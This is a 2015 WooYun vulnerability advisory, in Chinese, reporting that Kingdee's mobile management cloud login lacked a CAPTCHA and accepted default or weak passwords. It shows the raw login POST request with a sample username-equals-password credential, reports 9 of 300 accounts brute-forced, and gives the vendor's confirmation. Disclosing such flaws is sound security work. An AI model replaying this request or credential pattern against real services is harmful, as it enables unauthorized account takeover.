当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0111985

漏洞标题：金蝶企业移动管理云暴力破解+弱口令

相关厂商：金蝶

漏洞作者： 路人甲

提交时间：2015-05-04 17:27

修复时间：2015-06-19 17:36

公开时间：2015-06-19 17:36

漏洞类型：网络设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-04： 细节已通知厂商并且等待厂商处理中
2015-05-05： 厂商已经确认，细节仅向厂商公开
2015-05-15： 细节向核心白帽子及相关领域专家公开
2015-05-25： 细节向普通白帽子公开
2015-06-04： 细节向实习白帽子公开
2015-06-19： 细节向公众公开

简要描述：

如题，金蝶企业移动管理云暴力破解+弱口令，未加验证码和默认口令

详细说明：

问题网址：http://mcloud.kingdee.com/mcloud/pages/

2.JPG


POST /mcloud/dwr/call/plaincall/custLoginService.login.dwr HTTP/1.1
Host: mcloud.kingdee.com
Proxy-Connection: keep-alive
Content-Length: 301
Origin: http://mcloud.kingdee.com
User-Agent: 
Content-Type: text/plain
Accept: */*
Referer: http://mcloud.kingdee.com/mcloud/pages/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=w5u6heawhjdu1dt5et16a26sk
callCount=1
page=/mcloud/pages/
httpSessionId=w5u6heawhjdu1dt5et16a26sk
scriptSessionId=7EE1BE8590F1DDD3DC769322161A837A576
c0-scriptName=custLoginService
c0-methodName=login
c0-id=0
c0-e1=string:340727
c0-e2=string:340727
c0-param0=Object_Object:{user:reference:c0-e1, pwd:reference:c0-e2}
batchId=0


burp测试仅仅测试了300个账户就爆破了9个弱口令账户。如图

1.JPG


漏洞证明：

捕获.JPG

修复方案：

验证码+默认口令修改

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-05-05 17:34

厂商回复：

谢谢对金蝶的关注，深入研究金蝶系统发现安全漏洞。我们已通知相关部门修复。

最新状态：

暂无

漏洞评价：

评论